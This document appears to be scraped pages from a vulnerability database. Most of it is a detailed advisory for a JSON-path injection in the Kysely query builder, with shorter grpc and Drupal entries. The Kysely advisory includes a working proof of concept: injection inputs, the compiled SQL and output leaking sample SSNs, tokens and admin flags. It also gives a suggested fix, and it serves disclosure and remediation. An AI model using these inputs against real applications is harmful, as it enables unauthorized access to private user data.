  "details": "\"The package grpc before 1.24.4 and the package @grpc/grpc-js before 1.1.8 are vulnerable to Prototype Pollution via loadPackageDefinition.\"",
  "id": "GHSA-pp75-xfpw-37g9",
  "modified": "2021-04-19T22:57:05Z",
  "published": "2021-05-10T19:16:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7768"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/pull/1605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/pull/1606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/releases/tag/grpc%401.24.4"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038819"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-GRPC-598671"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-GRPCGRPCJS-1038818"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@grpc/grpc-js"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/grpc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in grpc and @grpc/grpc-js"
}

GHSA-PV5W-4P9Q-P3V2

Vulnerability from github – Published: 2026-05-11 19:40 – Updated: 2026-06-08 23:53
VLAI
Summary
Kysely: JSON-path traversal injection via unsanitized path-leg metacharacters in `JSONPathBuilder.key()` / `.at()`
Details

Summary

Kysely 0.28.12 added a sanitizeStringLiteral() call inside DefaultQueryCompiler.visitJSONPathLeg (commit 0a602bf, PR #1727) to fix CVE-2026-32763 (GHSA-wmrf-hv6w-mr66). The fix only doubles single quotes ('''); it does not escape JSON-path metacharacters (., [, ], *, **, ?). When attacker-controlled input flows into eb.ref(col, '->$').key(input) or .at(input) — including type-safe code where the JSON column is shaped like Record<string, T> so K extends string is the inferred type — every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL ->$/->>$, and SQLite.

  • Project: Kysely — TypeScript SQL query builder (npm kysely); affects MySQL, PostgreSQL ->$/->>$, and SQLite dialects.
  • Source reviewed: kysely-org/kysely @ master (73192e4, version 0.28.16).
  • Deployed artefact validated: kysely@0.28.16 from npm.
  • Affected file(s):
  • src/query-compiler/default-query-compiler.ts (lines 1611–1639, 1821–1823)
  • src/query-builder/json-path-builder.ts (lines 93–196)
  • src/dialect/mysql/mysql-query-compiler.ts (overrides sanitizeStringLiteral but inherits the same behaviour for path legs — escapes \ and ', nothing else)
  • CWE: CWE-89 — Improper Neutralization of Special Elements used in an SQL Command, with CWE-915 / CWE-1284 (improper validation of specified quantity in input) flavours for the JSON-path sub-language.
  • OWASP 2021: A03:2021 — Injection.

Vulnerable code

src/query-compiler/default-query-compiler.ts:1625-1639:

protected override visitJSONPathLeg(node: JSONPathLegNode): void {
  const isArrayLocation = node.type === 'ArrayLocation'

  this.append(isArrayLocation ? '[' : '.')      // (1)

  this.append(
    typeof node.value === 'string'
      ? this.sanitizeStringLiteral(node.value)  // (2)
      : String(node.value),
  )

  if (isArrayLocation) {
    this.append(']')
  }
}

src/query-compiler/default-query-compiler.ts:1821-1823:

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")    // (3)
}

with LIT_WRAP_REGEX = /'/g.

src/query-builder/json-path-builder.ts:151-167:

key<
  K extends any[] extends O
    ? never
    : O extends object
      ? keyof NonNullable<O> & string
      : never,
  O2 = undefined extends O
    ? null | NonNullable<NonNullable<O>[K]>
    : null extends O
      ? null | NonNullable<NonNullable<O>[K]>
      : // when the object has non-specific keys, e.g. Record<string, T>, should infer `T | null`!
        string extends keyof NonNullable<O>
        ? null | NonNullable<NonNullable<O>[K]>
        : NonNullable<O>[K],
>(key: K): TraversedJSONPathBuilder<S, O2> {
  return this.#createBuilderWithPathLeg('Member', key)  // (4)
}

src/query-builder/json-path-builder.ts:169-196:

#createBuilderWithPathLeg(
  legType: JSONPathLegType,
  value: string | number,                                // (5)
): TraversedJSONPathBuilder<any, any> {
  // ...
  return new TraversedJSONPathBuilder(
    JSONPathNode.cloneWithLeg(
      this.#node,
      JSONPathLegNode.create(legType, value),            // (6)
    ),
  )
}

At (1) the compiler emits the path-leg separator — . for member access or [ for array index. At (2) the user-supplied string is run through sanitizeStringLiteral, which at (3) only doubles single quotes ('). Dots, brackets, asterisks, double-asterisks and question marks — every reserved character of the SQL/JSON path mini-language — pass through unmodified.

At (4) .key(K) types K as keyof NonNullable<O> & string. When the JSON column is typed as Record<string, T> (a common shape for free-form metadata blobs) the inferred K is just string, so attacker-controlled input is type-safe and does not need a Kysely<any> escape hatch — this finding is broader than GHSA-wmrf-hv6w-mr66 (CVE-2026-32763), which only covered the Kysely<any> case. At (5)/(6) the runtime accepts any string | number regardless of legType, so a string sent into .at(...) ('last'/'#-N' per the public type signature) also reaches the same emitter and can carry ] to break out of the bracket.

The fix at 0a602bf only addressed the single-quote → string-literal escape. The JSON-path metacharacter set was overlooked.

MysqlQueryCompiler.sanitizeStringLiteral (src/dialect/mysql/mysql-query-compiler.ts:47-51) overrides the helper to also escape backslashes — but again, it does nothing for . [ ] * ** ?.

Reproduction (validated locally)

Environment: kysely@0.28.16 + better-sqlite3@12.x, Node 22, on macOS. The PoC harness lives in /Users/admin/joplin_research/kysely-poc/.

Step 1 — Compiled-SQL evidence across all three dialects

/Users/admin/joplin_research/kysely-poc/poc.mjs (no DB, just .compile()):

$ node poc.mjs
===== MySQL =====

--- baseline: .key("nick") ---
SQL:     select `profile`->'$.nick' as `out` from `person`

--- INJECTION via .key(ATTACKER) -- "nick.secret_field" ---
SQL:     select `profile`->'$.nick.secret_field' as `out` from `person`

--- INJECTION via .key("*") -- wildcard reaches all keys ---
SQL:     select `profile`->'$.*' as `out` from `person`

--- INJECTION via .at(ATTACKER3) -- bracket escape ---
SQL:     select `profile`->'$[].secret]' as `out` from `person`

===== PostgreSQL (->$ uses jsonpath, MySQL-like) =====

--- baseline: .key("nick") ---
SQL:     select "profile"->'$.nick' as "out" from "person"

--- INJECTION via .key(ATTACKER) ---
SQL:     select "profile"->'$.nick.secret_field' as "out" from "person"

===== SQLite =====

--- baseline: .key("nick") ---
SQL:     select "profile"->>'$.nick' as "value" from "person"

--- INJECTION via .key(ATTACKER) ---
SQL:     select "profile"->>'$.nick.secret_field' as "out" from "person"

--- INJECTION via .key("*") ---
SQL:     select "profile"->>'$.*' as "out" from "person"

The compiled SQL clearly shows the dot inside the user-supplied "key" being interpreted by the database as a path separator: '$.nick' (one leg) becomes '$.nick.secret_field' (two legs). MySQL additionally accepts * as a wildcard reaching every member at the current level.

Step 2 — End-to-end data disclosure on a real database

/Users/admin/joplin_research/kysely-poc/sqlite-runtime.mjs simulates a typical handler that reads one top-level field of the caller's profile:

async function fetchProfileField(userInput) {
  return db.selectFrom('me')
    .select(eb => eb.ref('profile', '->>$').key(userInput).as('value'))
    .where('id', '=', 1)
    .execute()
}

The me.profile JSON column for user 1 is:

{
  "nick": "alice",
  "tagline": "hi",
  "internal": {
    "ssn": "111-11-1111",
    "token": "tok_abcdef",
    "admin": true
  }
}

The developer's intent: only top-level keys (nick, tagline) are ever requested. internal is private bookkeeping.

$ node sqlite-runtime.mjs
===== Legitimate request =====
userInput = "nick"
  compiled SQL:  select "profile"->>'$.nick' as "value" from "me" where "id" = ?
  result:        [ { value: 'alice' } ]

===== Injection: dot lets attacker reach nested "internal" object =====
userInput = "internal.ssn"
  compiled SQL:  select "profile"->>'$.internal.ssn' as "value" from "me" where "id" = ?
  result:        [ { value: '111-11-1111' } ]

userInput = "internal.token"
  compiled SQL:  select "profile"->>'$.internal.token' as "value" from "me" where "id" = ?
  result:        [ { value: 'tok_abcdef' } ]

userInput = "internal.admin"
  compiled SQL:  select "profile"->>'$.internal.admin' as "value" from "me" where "id" = ?
  result:        [ { value: 1 } ]

Expected vs. actual: the application invariant was "the user can only read top-level keys of their profile". The output violates that invariant — internal.ssn, internal.token, and internal.admin are returned even though internal was never meant to be addressable through this endpoint.

The same pattern is exploitable on MySQL (where * and ** wildcards make it strictly worse — a single * enumerates every sibling at the current level in one row) and on PostgreSQL when using the ->$/->>$ operators (which target MySQL-style JSON-path strings on PG ≥ 17 / via jsonb_path_query).

Impact

  • Authorization bypass on JSON sub-fields. Any kysely-built query whose JSON-path key/index argument is partially or fully attacker-controlled — even in fully type-safe code where the column type is Record<string, T> — leaks data the developer believed was scoped behind the explicitly-listed key. SSNs, tokens, admin flags, internal IDs, anything stored as a nested member of the same JSON document is reachable.
  • Wildcard reads on MySQL / PostgreSQL ->$. key('*') compiles to '$.*', returning the array of every value at the current depth in one round-trip. key('**') recurses across the whole document. The fix does not strip either token.
  • Write access in update statements. Kysely uses the same path compiler for update().set(eb => eb.ref(col, '->$').key(input), value)-style writes (and jsonb_set helpers). An attacker who can drive both the path and the value can therefore write into nested fields they should not be able to set — for example flipping an admin flag or rewriting a nested role.
  • Bypasses the recently-fixed precedent. The maintainers shipped commit 0a602bf (PR #1727) specifically to harden this surface. That fix removed the ' (quote) primitive but left every JSON-path metacharacter alone, so the surface is still open against any caller that thought it was now safe.
  • Practical bounding. The attacker needs a code path where a request-derived string lands in .key(...) or .at(...). This is a recognised pattern (filter-by-field, dynamic select for admin dashboards, Strapi-style JSON-blob columns); it is not a default kysely behaviour but is plausibly common. The vulnerable path is also exercised any time a developer writes db as Kysely<any> (covered by the older GHSA-wmrf-hv6w-mr66 advisory) — but unlike that advisory, the bug here triggers in fully-typed code on Record<string, T> columns.

Suggested fix

Treat path legs as a structured emission, not a string-literal escape. The narrowest safe patch is a dedicated sanitizeJSONPathLeg that only emits a known-good character set per leg type and rejects everything else, since JSON-path quoting differs by dialect (MySQL allows "…"-quoted member names; SQLite is more permissive but still has a grammar; PostgreSQL jsonpath is strict).

// src/query-compiler/default-query-compiler.ts
const JSON_PATH_MEMBER_OK = /^[A-Za-z_$][A-Za-z0-9_$]*$/

protected override visitJSONPathLeg(node: JSONPathLegNode): void {
  if (node.type === 'ArrayLocation') {
    this.append('[')
    if (typeof node.value === 'number') {
      this.append(String(node.value | 0))      // int-coerce
    } else if (node.value === 'last' || /^#-\d+$/.test(node.value)) {
      this.append(node.value)                  // documented dialect tokens
    } else {
      throw new Error(`invalid JSON array index: ${node.value}`)
    }
    this.append(']')
    return
  }
  // Member
  this.append('.')
  if (typeof node.value !== 'string' || !JSON_PATH_MEMBER_OK.test(node.value)) {
    // Per-dialect quoted-member escape would go here; default = reject.
    throw new Error(`invalid JSON path member: ${JSON.stringify(node.value)}`)
  }
  this.append(node.value)
}

For dialect-specific behaviour (MySQL "…"-quoted members, SQLite bracket-quoted), each dialect compiler should override the helper and apply the appropriate quoting + double-the-quote rule, the same way sanitizeIdentifier already does.

Consider also: parameterise JSON paths whenever the dialect supports it (PostgreSQL jsonb_path_query($1, $2), MySQL JSON_EXTRACT(?, ?)), so attacker-controlled keys are bound, not concatenated. Add a regression test to test/node/src/json-traversal.test.ts asserting that eb.ref('c','->$').key('a.b').compile().sql is either rejected, or emits MySQL '$."a.b"' / SQLite '$.["a.b"]' (quoted-member form), and explicitly differs from key('a').key('b').

A backstop hardening: tighten the .at() runtime to accept only number | 'last' | '#-${digits}' (matching the type signature), and tighten .key() to only accept strings that match keyof O at runtime when O is statically known.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "kysely"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.26.0"
            },
            {
              "fixed": "0.28.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-22",
      "CWE-89",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T19:40:15Z",
    "nvd_published_at": "2026-05-27T19:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKysely 0.28.12 added a `sanitizeStringLiteral()` call inside `DefaultQueryCompiler.visitJSONPathLeg` (commit `0a602bf`, PR #1727) to fix CVE-2026-32763 (`GHSA-wmrf-hv6w-mr66`). The fix only doubles single quotes (`\u0027` \u2192 `\u0027\u0027`); it does **not** escape JSON-path metacharacters (`.`, `[`, `]`, `*`, `**`, `?`). When attacker-controlled input flows into `eb.ref(col, \u0027-\u003e$\u0027).key(input)` or `.at(input)` \u2014 including type-safe code where the JSON column is shaped like `Record\u003cstring, T\u003e` so `K extends string` is the inferred type \u2014 every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL `-\u003e$`/`-\u003e\u003e$`, and SQLite.\n\n* Project: Kysely \u2014 TypeScript SQL query builder (npm `kysely`); affects MySQL, PostgreSQL `-\u003e$`/`-\u003e\u003e$`, and SQLite dialects.\n* Source reviewed: `kysely-org/kysely` @ `master` (`73192e4`, version `0.28.16`).\n* Deployed artefact validated: `kysely@0.28.16` from npm.\n* Affected file(s):\n  * `src/query-compiler/default-query-compiler.ts` (lines 1611\u20131639, 1821\u20131823)\n  * `src/query-builder/json-path-builder.ts` (lines 93\u2013196)\n  * `src/dialect/mysql/mysql-query-compiler.ts` (overrides `sanitizeStringLiteral` but inherits the same behaviour for path legs \u2014 escapes `\\` and `\u0027`, nothing else)\n* CWE: CWE-89 \u2014 Improper Neutralization of Special Elements used in an SQL Command, with CWE-915 / CWE-1284 (improper validation of specified quantity in input) flavours for the JSON-path sub-language.\n* OWASP 2021: A03:2021 \u2014 Injection.\n\n## Vulnerable code\n\n`src/query-compiler/default-query-compiler.ts:1625-1639`:\n\n```ts\nprotected override visitJSONPathLeg(node: JSONPathLegNode): void {\n  const isArrayLocation = node.type === \u0027ArrayLocation\u0027\n\n  this.append(isArrayLocation ? \u0027[\u0027 : \u0027.\u0027)      // (1)\n\n  this.append(\n    typeof node.value === \u0027string\u0027\n      ? this.sanitizeStringLiteral(node.value)  // (2)\n      : String(node.value),\n  )\n\n  if (isArrayLocation) {\n    this.append(\u0027]\u0027)\n  }\n}\n```\n\n`src/query-compiler/default-query-compiler.ts:1821-1823`:\n\n```ts\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"\u0027\u0027\")    // (3)\n}\n```\n\nwith `LIT_WRAP_REGEX = /\u0027/g`.\n\n`src/query-builder/json-path-builder.ts:151-167`:\n\n```ts\nkey\u003c\n  K extends any[] extends O\n    ? never\n    : O extends object\n      ? keyof NonNullable\u003cO\u003e \u0026 string\n      : never,\n  O2 = undefined extends O\n    ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n    : null extends O\n      ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n      : // when the object has non-specific keys, e.g. Record\u003cstring, T\u003e, should infer `T | null`!\n        string extends keyof NonNullable\u003cO\u003e\n        ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n        : NonNullable\u003cO\u003e[K],\n\u003e(key: K): TraversedJSONPathBuilder\u003cS, O2\u003e {\n  return this.#createBuilderWithPathLeg(\u0027Member\u0027, key)  // (4)\n}\n```\n\n`src/query-builder/json-path-builder.ts:169-196`:\n\n```ts\n#createBuilderWithPathLeg(\n  legType: JSONPathLegType,\n  value: string | number,                                // (5)\n): TraversedJSONPathBuilder\u003cany, any\u003e {\n  // ...\n  return new TraversedJSONPathBuilder(\n    JSONPathNode.cloneWithLeg(\n      this.#node,\n      JSONPathLegNode.create(legType, value),            // (6)\n    ),\n  )\n}\n```\n\nAt (1) the compiler emits the path-leg separator \u2014 `.` for member access or `[` for array index. At (2) the user-supplied string is run through `sanitizeStringLiteral`, which at (3) only doubles single quotes (`\u0027`). Dots, brackets, asterisks, double-asterisks and question marks \u2014 every reserved character of the SQL/JSON path mini-language \u2014 pass through unmodified.\n\nAt (4) `.key(K)` types `K` as `keyof NonNullable\u003cO\u003e \u0026 string`. When the JSON column is typed as `Record\u003cstring, T\u003e` (a common shape for free-form metadata blobs) the inferred `K` is just `string`, so attacker-controlled input is **type-safe** and does not need a `Kysely\u003cany\u003e` escape hatch \u2014 this finding is *broader* than `GHSA-wmrf-hv6w-mr66` (CVE-2026-32763), which only covered the `Kysely\u003cany\u003e` case. At (5)/(6) the runtime accepts any `string | number` regardless of `legType`, so a string sent into `.at(...)` (`\u0027last\u0027`/`\u0027#-N\u0027` per the public type signature) also reaches the same emitter and can carry `]` to break out of the bracket.\n\nThe fix at `0a602bf` only addressed the single-quote \u2192 string-literal escape. The JSON-path metacharacter set was overlooked.\n\n`MysqlQueryCompiler.sanitizeStringLiteral` (`src/dialect/mysql/mysql-query-compiler.ts:47-51`) overrides the helper to also escape backslashes \u2014 but again, it does nothing for `. [ ] * ** ?`.\n\n## Reproduction (validated locally)\n\nEnvironment: `kysely@0.28.16` + `better-sqlite3@12.x`, Node 22, on macOS. The PoC harness lives in `/Users/admin/joplin_research/kysely-poc/`.\n\n### Step 1 \u2014 Compiled-SQL evidence across all three dialects\n\n`/Users/admin/joplin_research/kysely-poc/poc.mjs` (no DB, just `.compile()`):\n\n```bash\n$ node poc.mjs\n===== MySQL =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select `profile`-\u003e\u0027$.nick\u0027 as `out` from `person`\n\n--- INJECTION via .key(ATTACKER) -- \"nick.secret_field\" ---\nSQL:     select `profile`-\u003e\u0027$.nick.secret_field\u0027 as `out` from `person`\n\n--- INJECTION via .key(\"*\") -- wildcard reaches all keys ---\nSQL:     select `profile`-\u003e\u0027$.*\u0027 as `out` from `person`\n\n--- INJECTION via .at(ATTACKER3) -- bracket escape ---\nSQL:     select `profile`-\u003e\u0027$[].secret]\u0027 as `out` from `person`\n\n===== PostgreSQL (-\u003e$ uses jsonpath, MySQL-like) =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select \"profile\"-\u003e\u0027$.nick\u0027 as \"out\" from \"person\"\n\n--- INJECTION via .key(ATTACKER) ---\nSQL:     select \"profile\"-\u003e\u0027$.nick.secret_field\u0027 as \"out\" from \"person\"\n\n===== SQLite =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.nick\u0027 as \"value\" from \"person\"\n\n--- INJECTION via .key(ATTACKER) ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.nick.secret_field\u0027 as \"out\" from \"person\"\n\n--- INJECTION via .key(\"*\") ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.*\u0027 as \"out\" from \"person\"\n```\n\nThe compiled SQL clearly shows the dot inside the user-supplied \"key\" being interpreted by the database as a path separator: `\u0027$.nick\u0027` (one leg) becomes `\u0027$.nick.secret_field\u0027` (two legs). MySQL additionally accepts `*` as a wildcard reaching every member at the current level.\n\n### Step 2 \u2014 End-to-end data disclosure on a real database\n\n`/Users/admin/joplin_research/kysely-poc/sqlite-runtime.mjs` simulates a typical handler that reads one top-level field of the caller\u0027s profile:\n\n```js\nasync function fetchProfileField(userInput) {\n  return db.selectFrom(\u0027me\u0027)\n    .select(eb =\u003e eb.ref(\u0027profile\u0027, \u0027-\u003e\u003e$\u0027).key(userInput).as(\u0027value\u0027))\n    .where(\u0027id\u0027, \u0027=\u0027, 1)\n    .execute()\n}\n```\n\nThe `me.profile` JSON column for user 1 is:\n\n```json\n{\n  \"nick\": \"alice\",\n  \"tagline\": \"hi\",\n  \"internal\": {\n    \"ssn\": \"111-11-1111\",\n    \"token\": \"tok_abcdef\",\n    \"admin\": true\n  }\n}\n```\n\nThe developer\u0027s intent: only top-level keys (`nick`, `tagline`) are ever requested. `internal` is private bookkeeping.\n\n```bash\n$ node sqlite-runtime.mjs\n===== Legitimate request =====\nuserInput = \"nick\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.nick\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027alice\u0027 } ]\n\n===== Injection: dot lets attacker reach nested \"internal\" object =====\nuserInput = \"internal.ssn\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.ssn\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027111-11-1111\u0027 } ]\n\nuserInput = \"internal.token\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.token\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027tok_abcdef\u0027 } ]\n\nuserInput = \"internal.admin\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.admin\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: 1 } ]\n```\n\nExpected vs. actual: the application invariant was \"the user can only read top-level keys of their profile\". The output violates that invariant \u2014 `internal.ssn`, `internal.token`, and `internal.admin` are returned even though `internal` was never meant to be addressable through this endpoint.\n\nThe same pattern is exploitable on MySQL (where `*` and `**` wildcards make it strictly worse \u2014 a single `*` enumerates every sibling at the current level in one row) and on PostgreSQL when using the `-\u003e$`/`-\u003e\u003e$` operators (which target MySQL-style JSON-path strings on PG \u2265 17 / via `jsonb_path_query`).\n\n## Impact\n\n* **Authorization bypass on JSON sub-fields.** Any kysely-built query whose JSON-path key/index argument is partially or fully attacker-controlled \u2014 even in fully type-safe code where the column type is `Record\u003cstring, T\u003e` \u2014 leaks data the developer believed was scoped behind the explicitly-listed key. SSNs, tokens, admin flags, internal IDs, anything stored as a nested member of the same JSON document is reachable.\n* **Wildcard reads on MySQL / PostgreSQL `-\u003e$`.** `key(\u0027*\u0027)` compiles to `\u0027$.*\u0027`, returning the array of every value at the current depth in one round-trip. `key(\u0027**\u0027)` recurses across the whole document. The fix does not strip either token.\n* **Write access in update statements.** Kysely uses the same path compiler for `update().set(eb =\u003e eb.ref(col, \u0027-\u003e$\u0027).key(input), value)`-style writes (and `jsonb_set` helpers). An attacker who can drive both the path and the value can therefore write into nested fields they should not be able to set \u2014 for example flipping an `admin` flag or rewriting a nested role.\n* **Bypasses the recently-fixed precedent.** The maintainers shipped commit `0a602bf` (PR #1727) specifically to harden this surface. That fix removed the `\u0027` (quote) primitive but left every JSON-path metacharacter alone, so the surface is still open against any caller that *thought* it was now safe.\n* **Practical bounding.** The attacker needs a code path where a request-derived string lands in `.key(...)` or `.at(...)`. This is a recognised pattern (filter-by-field, dynamic `select` for admin dashboards, Strapi-style JSON-blob columns); it is not a default kysely behaviour but is plausibly common. The vulnerable path is also exercised any time a developer writes `db as Kysely\u003cany\u003e` (covered by the older `GHSA-wmrf-hv6w-mr66` advisory) \u2014 but unlike that advisory, the bug here triggers in fully-typed code on `Record\u003cstring, T\u003e` columns.\n\n## Suggested fix\n\nTreat path legs as a structured emission, not a string-literal escape. The narrowest safe patch is a dedicated `sanitizeJSONPathLeg` that only emits a known-good character set per leg type and rejects everything else, since JSON-path quoting differs by dialect (MySQL allows `\"\u2026\"`-quoted member names; SQLite is more permissive but still has a grammar; PostgreSQL `jsonpath` is strict).\n\n```ts\n// src/query-compiler/default-query-compiler.ts\nconst JSON_PATH_MEMBER_OK = /^[A-Za-z_$][A-Za-z0-9_$]*$/\n\nprotected override visitJSONPathLeg(node: JSONPathLegNode): void {\n  if (node.type === \u0027ArrayLocation\u0027) {\n    this.append(\u0027[\u0027)\n    if (typeof node.value === \u0027number\u0027) {\n      this.append(String(node.value | 0))      // int-coerce\n    } else if (node.value === \u0027last\u0027 || /^#-\\d+$/.test(node.value)) {\n      this.append(node.value)                  // documented dialect tokens\n    } else {\n      throw new Error(`invalid JSON array index: ${node.value}`)\n    }\n    this.append(\u0027]\u0027)\n    return\n  }\n  // Member\n  this.append(\u0027.\u0027)\n  if (typeof node.value !== \u0027string\u0027 || !JSON_PATH_MEMBER_OK.test(node.value)) {\n    // Per-dialect quoted-member escape would go here; default = reject.\n    throw new Error(`invalid JSON path member: ${JSON.stringify(node.value)}`)\n  }\n  this.append(node.value)\n}\n```\n\nFor dialect-specific behaviour (MySQL `\"\u2026\"`-quoted members, SQLite bracket-quoted), each dialect compiler should override the helper and apply the appropriate quoting + double-the-quote rule, the same way `sanitizeIdentifier` already does.\n\nConsider also: parameterise JSON paths whenever the dialect supports it (PostgreSQL `jsonb_path_query($1, $2)`, MySQL `JSON_EXTRACT(?, ?)`), so attacker-controlled keys are bound, not concatenated. Add a regression test to `test/node/src/json-traversal.test.ts` asserting that `eb.ref(\u0027c\u0027,\u0027-\u003e$\u0027).key(\u0027a.b\u0027).compile().sql` is **either** rejected, **or** emits MySQL `\u0027$.\"a.b\"\u0027` / SQLite `\u0027$.[\"a.b\"]\u0027` (quoted-member form), and explicitly differs from `key(\u0027a\u0027).key(\u0027b\u0027)`.\n\nA backstop hardening: tighten the `.at()` runtime to accept only `number | \u0027last\u0027 | \u0027#-${digits}\u0027` (matching the type signature), and tighten `.key()` to only accept strings that match `keyof O` at runtime when `O` is statically known.",
  "id": "GHSA-pv5w-4p9q-p3v2",
  "modified": "2026-06-08T23:53:29Z",
  "published": "2026-05-11T19:40:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-pv5w-4p9q-p3v2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44635"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kysely-org/kysely"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/releases/tag/v0.28.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kysely: JSON-path traversal injection via unsanitized path-leg metacharacters in `JSONPathBuilder.key()` / `.at()`"
}

GHSA-QC2R-2XXP-M58X

Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 18:30
VLAI
Details

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Formatter Field allows Object Injection. This issue affects Formatter Field versions: from 0.0.0 to 2.0.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T22:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Formatter Field allows Object Injection. This issue affects Formatter Field versions: from 0.0.0 to 2.0.0.",
  "id": "GHSA-qc2r-2xxp-m58x",
  "modified": "2026-07-13T18:30:33Z",
  "published": "2026-07-11T00:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12535"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2026-048"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation
  • If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
  • For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

Strategy: Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Mitigation
Implementation Architecture and Design

Strategy: Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

No CAPEC attack patterns related to this CWE.